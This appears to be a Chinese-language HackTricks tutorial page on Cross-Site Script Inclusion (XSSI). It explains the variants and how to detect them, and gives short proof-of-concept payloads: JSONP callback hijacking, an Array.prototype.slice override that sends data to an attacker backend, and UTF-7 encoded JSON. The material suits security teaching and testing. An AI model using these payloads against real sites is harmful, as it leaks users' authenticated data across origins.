> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/xssi-cross-site-script-inclusion.md).

# XSSI (Cross-Site Script Inclusion)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

\*\*跨站脚本包含（XSSI）\*\*是一种源自HTML中`script`标签特性的漏洞。与大多数资源不同，脚本可以从不同域中包含。这种行为旨在方便使用托管在不同服务器上的库和其他资源，但也引入了潜在的安全风险。

### **XSSI**的关键特征：

* **绕过SOP**：脚本不受\*\*同源策略（SOP）\*\*的限制，允许它们跨域包含。
* **数据暴露**：攻击者可以利用这种行为读取通过`script`标签加载的数据。
* **对动态JavaScript/JSONP的影响**：**XSSI**对动态JavaScript或\*\*带填充的JSON（JSONP）\*\*尤为重要。这些技术通常使用“环境授权”信息（如cookies）进行身份验证。当向不同主机发出脚本请求时，这些凭据（例如cookies）会自动包含在请求中。
* **身份验证令牌泄露**：如果攻击者能够欺骗用户的浏览器请求来自他们控制的服务器的脚本，他们可能能够访问这些请求中包含的敏感信息。

### 类型

1. **静态JavaScript** - 代表XSSI的传统形式。
2. **带身份验证的静态JavaScript** - 这种类型不同，因为它需要身份验证才能访问。
3. **动态JavaScript** - 包括动态生成内容的JavaScript。
4. **非JavaScript** - 指不直接涉及JavaScript的漏洞。

**以下信息是**[**https://www.scip.ch/en/?labs.20160414**](https://www.scip.ch/en/?labs.20160414)**的摘要**。查看更多详细信息。

### 常规XSSI

在这种方法中，私人信息嵌入在一个全局可访问的JavaScript文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦定位到包含私人信息的脚本，就可以将其包含在恶意内容中，从而未经授权地访问敏感数据。下面是一个示例利用技术：

```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```

### 动态基于JavaScript的XSSI和经过身份验证的JavaScript-XSSI

这些类型的XSSI攻击涉及将机密信息动态添加到响应用户请求的脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同，可能表明存在机密信息。可以使用诸如[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp扩展等工具自动化此过程。

如果机密数据存储在全局变量中，可以利用类似于常规XSSI中使用的方法进行利用。但是，如果机密数据包含在JSONP响应中，攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个函数来执行JSONP响应来实现，如下所示：

```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```

```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```

对于不驻留在全局命名空间中的变量，有时可以利用\_原型篡改\_。该技术利用了JavaScript的设计，其中代码解释涉及遍历原型链以定位调用的属性。通过覆盖某些函数，比如`Array`的`slice`，攻击者可以访问并泄露非全局变量：

```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```

进一步的攻击向量细节可以在安全研究人员[Sebastian Lekies](https://twitter.com/slekies)的作品中找到，他维护着一个[vectors](http://sebastian-lekies.de/leak/)列表。

### 非脚本-XSSI

Takeshi Terada的研究介绍了另一种XSSI形式，其中非脚本文件（如CSV）通过在`script`标签中作为源被包含而跨源泄漏。XSSI的历史实例，如Jeremiah Grossman在2006年攻击读取完整的Google通讯录和Joe Walker在2007年的JSON数据泄漏，突显了这些威胁的严重性。此外，Gareth Heyes描述了一种攻击变体，涉及使用UTF-7编码的JSON来逃逸JSON格式并执行脚本，在某些浏览器中有效：

```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```

```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
